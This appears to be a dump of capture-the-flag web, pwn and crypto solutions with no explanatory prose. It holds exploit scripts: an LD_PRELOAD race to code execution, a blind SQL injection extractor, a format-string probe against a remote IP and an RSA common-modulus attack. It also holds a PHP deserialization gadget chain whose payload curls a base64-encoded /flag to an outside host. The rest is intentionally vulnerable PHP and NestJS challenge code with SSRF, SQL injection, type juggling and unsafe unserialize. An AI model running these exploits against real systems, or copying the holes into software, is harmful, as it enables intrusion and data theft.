1import requests
 2import _thread
 3
 4f=open("hook_exp.so",'rb')
 5data=f.read()
 6url="http://localhost:12333/"
 7
 8def upload():
 9    print("start upload")
10    while True:
11        requests.get(url+"index.php",data=data)
12
13def preload(fd):
14    while True:
15        print("start ld_preload")
16        for pid in range(10,20):
17            file = f'/proc/{pid}/fd/{fd}'
18            # print(url+f"index.php?env=LD_PRELOAD={file}")
19            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
20            # print(resp.text)
21            if 'uid' in resp.text:
22                print("finished")
23                exit()
24
25try:
26    _thread.start_new_thread(upload, ())
27    for fd in range(1, 20):
28        _thread.start_new_thread(preload,(fd,))
29except:
30    print("error")
31
32while True:
33    pass

 1```sql
 2CREATE TABLE `auth` (
 3  `id` int NOT NULL AUTO_INCREMENT,
 4  `username` varchar(32) NOT NULL,
 5  `password` varchar(32) NOT NULL,
 6  PRIMARY KEY (`id`),
 7  UNIQUE KEY `auth_username_uindex` (`username`)
 8) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
 9```
10
11```js
12import { Injectable } from '@nestjs/common';
13import { ConnectionProvider } from '../database/connection.provider';
14
15export class User {
16  id: number;
17  username: string;
18}
19
20function safe(str: string): string {
21  const r = str
22    .replace(/[\s,()#;*\-]/g, '')
23    .replace(/^.*(?=union|binary).*$/gi, '')
24    .toString();
25  return r;
26}
27
28@Injectable()
29export class AuthService {
30  constructor(private connectionProvider: ConnectionProvider) {}
31
32  async validateUser(username: string, password: string): Promise<User> | null {
33    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
34    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
35    const user = rows[0];
36    if (user && user.password === password) {
37      // eslint-disable-next-line @typescript-eslint/no-unused-vars
38      const { password, ...result } = user;
39      return result;
40    }
41    return null;
42  }
43}

 1import requests
 2url='http://xxx/login'
 3flag=''
 4for i in range(1,50):
 5    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
 6        temp=ascii
 7        if(temp in '^!?$'):
 8            temp="\\\\\\"+temp
 9        payload={
10            'password':'xxx',
11            'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
12        }
13        response=requests.post(url=url, data=payload)
14        print(payload)
15        print(response.text)
16        if '500' in response.text:
17            flag+=temp
18            print(flag)
19            break
20        print(ascii)

 1from pwn import *
 2import time
 3n=1
 4while 1:
 5	try:
 6		p=remote("118.195.147.196",9238)
 7		p.sendline('%'+str(n)+'$s')
 8		print(n)
 9		d=p.read()
10		if b'flag' in d:
11			print(n,d)
12			break
13		print(d)
14	except:
15		pass
16	n=n+1

 1from libnum import n2s,s2n
 2from gmpy2 import invert
 3def egcd(a, b):
 4  if a == 0:
 5    return (b, 0, 1)
 6  else:
 7    g, y, x = egcd(b % a, a)
 8    return (g, x - (b // a) * y, y)
 9def main():
10  n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929L
11  c1 = 409050138400231971554294088177137255457866075540394361465618420085942037334914972271553348781734546381272987423855027216175678797436131073306888763180501523905135583905144901381224572922542735812959826069495112995911282269377230245515683164143316763758642080370867274365360647518283349684822272605576874844625387807047876206532634507258565110299247417968586498427727688356287596783690957837504438650897148190345700044861267114786057049491164836631033845216983588558199652913012590435836646957168387808248342739079479547784004511726635639407815336376908051269831834833967007931321906512831272657668494512124731674031937509111585885992978363095964860952405173714000880231608814695517820595229454266690556749667796735461828114590568954658520700475934939183919597602772428393159957171678913035977611490511885932486154785287709132255326686398261542844030065556598666191350007752712425713619749771672365637485154754564779267050928584728661807027994863116745339833084769533981399300503220638563466169390183736267153617583845250415885823024980144631079997094009230377992595577328633292390530018606442243369688905175147209020920954422003555782869268678894916106413862664953146515732785804502660407314901808581405034432308726147933849979689989
12  c2 = 660786051824910230873884600744959030265388429192727951166721113879854464522389325739802703310913732902833778034401632628938144275110259033918655077691853918758634982899427693594671785857857909036915654998761013827868199342737749405352507276436866364180154665315956829382533710951839019853169966694154970158966072113917267296101513243808003273019100867933714599898053661451818477001562112853209154906322205083636027498233807131522283087979547271774312067398759611022191882371123084261761098923994873110788704960182273817371315264655632343946622563006808101322364265578490109714246148052618988958628592753911496921563155003551926547472410642201974274781280633708636309449501619866376422440041537758514811836133804597783256003504933767151921016752120604258580059668650713822253122650687275054081288622996628277268146723350191531420962242602380839728712825405572549099787290957348706683963946075215806340393267714297975946671488782713260980129229158285210722045502442378445134853897763065681974592818004420357542042894544487694477937617156099760573978759048442186633017206146993595028297257148566673402976005517349438948032707348011387517929999285636559431700923275025083662201127580201286747957827301089492530820945594666308738557238429
13  e1 = 17
14  e2 = 65537
15  s = egcd(e1, e2)
16  s1 = s[1]
17  s2 = s[2]
18  if s1<0:
19    s1 = - s1
20    c1 = invert(c1, n)
21  elif s2<0:
22    s2 = - s2
23    c2 = invert(c2, n)
24  m = pow(c1,s1,n)*pow(c2,s2,n) % n
25  print n2s(m)
26if __name__ == '__main__':
27  main()  

 1# -- coding=utf8 --
 2from pwn import *
 3io=remote("ctf.zrb.edisec.net",33741)
 4win_data=''
 5if __name__ == '__main__':
 6	n=0
 7	l=[[0]*3]*3
 8	while 1:
 9		if '499/500' in win_data :
10			p.interactive()
11		try:
12			io.sendlineafter('x/y:>','2/2')
13			ob=io.recvuntil('computer:>',timeout=0.2)
14			#ob=io.recvuntil('player:>',timeout=2)
15			#ob=io.recvuntil(str('player:>',timeout=2))
16			#ob=io.recvuntil(str('player:>',timeout=2)).strip()
17			ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
18			ob=ob.strip()
19			#ob=ob.split('/n')
20			ob=ob.split('\n')
21			#ob=ob.split('|')
22			ob1=ob[0].split('|')
23			ob2=ob[4].split('|')
24			if '#' in ob1[0] or '#' in ob2[2]:
25				io.send(b'1/2\n')
26				io.sendlineafter('x/y:>',b'3/2')
27			else:
28				io.send(b'2/1\n')
29				io.sendlineafter('x/y:>',b'2/3')
30			try:
31				ob=io.recvuntil('Can you win',timeout=0.2)
32				if not ob:
33					raise Exception("123")
34				win_data=io.recvuntil('*****').decode('utf-8')
35			except:
36				try:
37					io.send(b'1/1\n')
38					ob1=io.recvuntil('repeat',timeout=0.2)
39					if not ob1:
40						raise Exception("123")
41					io.send(b'1/3\n')
42					io.sned(b'3/1\n')
43				except:
44					try:
45						io.send(b'3/3\n')
46						ob=io.recvuntil('Can you win',timeout=0.2)
47						if not ob:
48							raise Exception("123")
49						win_data=io.recvuntil('*****').decode('utf-8')
50					except:
51						#io.interactive()
52						code=0
53						for i in range(1,4):
54							if code:
55								break
56							for j in range(1,4):
57								try:
58									io.send('%s/%s\n'%(i,j))
59									ob=io.recvuntil('Can you win',timeout=0.2)
60									if not ob:
61										raise Exception("123")
62									code=1
63									win_data=io.recvuntil('*****').decode('utf-8')
64									break
65								except:
66									pass
67					else:
68						print("第四层发送2/3，接收win正常")
69				else:
70					print("第三层接收repeat和发送正常")
71			print("第二层接收win正常")
72		except Exception as e:
73			if 'of range' not in e.args[0]:
74				io.interactive()
75		else:
76			print("成功")
77	io.interactive()

 1<?php
 2class a {
 3    public static $Do_u_like_JiaRan = false;
 4    public static $Do_u_like_AFKL = false;
 5}
 6
 7class b {
 8    private $i_want_2_listen_2_MaoZhongDu;
 9    public function __toString()
10    {
11        if (a::$Do_u_like_AFKL) {
12            return exec($this->i_want_2_listen_2_MaoZhongDu);
13        } else {
14            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
15        }
16    }
17}
18
19class c {
20    public function __wakeup()
21    {
22        a::$Do_u_like_JiaRan = true;
23    }
24}
25
26class d {
27    public function __invoke()
28    {
29        a::$Do_u_like_AFKL = true;
30        return "关注嘉然," . $this->value;
31    }
32}
33
34class e {
35    public function __destruct()
36    {
37        if (a::$Do_u_like_JiaRan) {
38            ($this->afkl)();
39        } else {
40            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
41        }
42    }
43}
44
45if (isset($_GET['data'])) {
46    unserialize(base64_decode($_GET['data']));
47} else {
48    highlight_file(__FILE__);
49}

 1<?php
 2class b {
 3    private $i_want_2_listen_2_MaoZhongDu;
 4    public function __construct(){
 5        $this->i_want_2_listen_2_MaoZhongDu="curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`";
 6    }
 7}
 8
 9class c {
10    public $cv;
11    public function __construct(){
12        $this->cv=new e();
13    }
14}
15
16class d {
17    public $value;
18    public function __construct()
19    {
20        $this->value=new b();
21    }
22}
23
24class e {
25    public $afkl;
26    public function __construct(){
27        $this->afkl=new d();
28    }
29}
30
31$a=new c();
32echo(base64_encode(serialize($a)));

 1<?php
 2function ssrf_me($url){
 3        $ch = curl_init();
 4        curl_setopt($ch, CURLOPT_URL, $url);
 5        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 6        $output = curl_exec($ch);
 7        curl_close($ch);
 8        echo $output;
 9}
10
11if(isset($_GET['url'])){
12    ssrf_me($_GET['url']);
13}
14else{
15    highlight_file(__FILE__);
16        echo "<!-- 有没有一种可能，flag在根目录 -->";
17}

 1PHP is the best Language
 2Have you ever heard about PHP Black Magic
 3<?php
 4echo "PHP is the best Language <br/>";
 5echo "Have you ever heard about PHP Black Magic<br/>";
 6error_reporting(0);
 7$temp = $_GET['password'];
 8is_numeric($temp)?die("no way"):NULL;    
 9if($temp>9999){
10    echo file_get_contents('./2.php');
11    echo "How's that possible";
12} 
13highlight_file(__FILE__);
14//Art is long, but life is short. So I use PHP.
15//I think It`s So useful that DiaoRen Said;
16//why not they use their vps !!!
17//BBTZ le jiarenmen
18
19?>

 1Just g1ve it a try. <?php
 2error_reporting(0);
 3
 4$flag=getenv('flag');
 5if (isset($_GET['user']) and isset($_GET['pass'])) 
 6{
 7    if ($_GET['user'] == $_GET['pass'])
 8        echo 'no no no no way for you to do so.';
 9    else if (sha1($_GET['user']) === sha1($_GET['pass']))
10      die('G1ve u the flag'.$flag);
11    else
12        echo 'not right';
13}
14else
15    echo 'Just g1ve it a try.';
16highlight_file(__FILE__);
17?>

 1Just G1ve it a try. <?php
 2error_reporting(0);
 3
 4$flag=getenv('fllag');
 5if (isset($_GET['user']) and isset($_GET['pass'])) 
 6{
 7    if ($_GET['user'] == $_GET['pass'])
 8        echo 'no no no no way for you to do so.';
 9    else if(is_array($_GET['user']) || is_array($_GET['pass']))
10        die('There is no way you can sneak me, young man!');
11    else if (sha1($_GET['user']) === sha1($_GET['pass'])){
12      echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
13      die('Genji:We will see again Hanzo'.$flag.'<br/>');
14    }
15    else
16        echo 'Wrong!';
17}else
18    echo 'Just G1ve it a try.';
19highlight_file(__FILE__);
20?>
21//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡

 1172.17.0.6	5769d2ff2afc
 2
 3IP address       HW type     Flags       HW address            Mask     Device
 4172.17.0.242     0x1         0x0         00:00:00:00:00:00     *        eth0
 5172.17.0.233     0x1         0x0         00:00:00:00:00:00     *        eth0
 6172.17.0.246     0x1         0x0         00:00:00:00:00:00     *        eth0
 7172.17.0.237     0x1         0x0         00:00:00:00:00:00     *        eth0
 8172.17.0.229     0x1         0x0         00:00:00:00:00:00     *        eth0
 9172.17.0.249     0x1         0x0         00:00:00:00:00:00     *        eth0
10172.17.0.253     0x1         0x0         00:00:00:00:00:00     *        eth0
11172.17.0.232     0x1         0x0         00:00:00:00:00:00     *        eth0
12172.17.0.241     0x1         0x0         00:00:00:00:00:00     *        eth0
13172.17.0.236     0x1         0x0         00:00:00:00:00:00     *        eth0
14172.17.0.245     0x1         0x0         00:00:00:00:00:00     *        eth0
15172.17.0.248     0x1         0x0         00:00:00:00:00:00     *        eth0
16172.17.0.252     0x1         0x0         00:00:00:00:00:00     *        eth0
17172.17.0.235     0x1         0x0         00:00:00:00:00:00     *        eth0
18172.17.0.7       0x1         0x2         02:42:ac:11:00:07     *        eth0
19172.17.0.240     0x1         0x0         00:00:00:00:00:00     *        eth0
20172.17.0.239     0x1         0x0         00:00:00:00:00:00     *        eth0
21172.17.0.244     0x1         0x0         00:00:00:00:00:00     *        eth0
22172.17.0.231     0x1         0x0         00:00:00:00:00:00     *        eth0
23172.17.0.251     0x1         0x0         00:00:00:00:00:00     *        eth0
24172.17.0.255     0x1         0x0         00:00:00:00:00:00     *        eth0
25172.17.0.234     0x1         0x0         00:00:00:00:00:00     *        eth0
26172.17.0.243     0x1         0x0         00:00:00:00:00:00     *        eth0
27172.17.0.238     0x1         0x0         00:00:00:00:00:00     *        eth0
28172.17.0.247     0x1         0x0         00:00:00:00:00:00     *        eth0
29172.17.0.230     0x1         0x0         00:00:00:00:00:00     *        eth0
30172.17.0.250     0x1         0x0         00:00:00:00:00:00     *        eth0
31172.17.0.254     0x1         0x0         00:00:00:00:00:00     *        eth0
32172.17.0.1       0x1         0x2         02:42:02:bf:e7:e3     *        eth0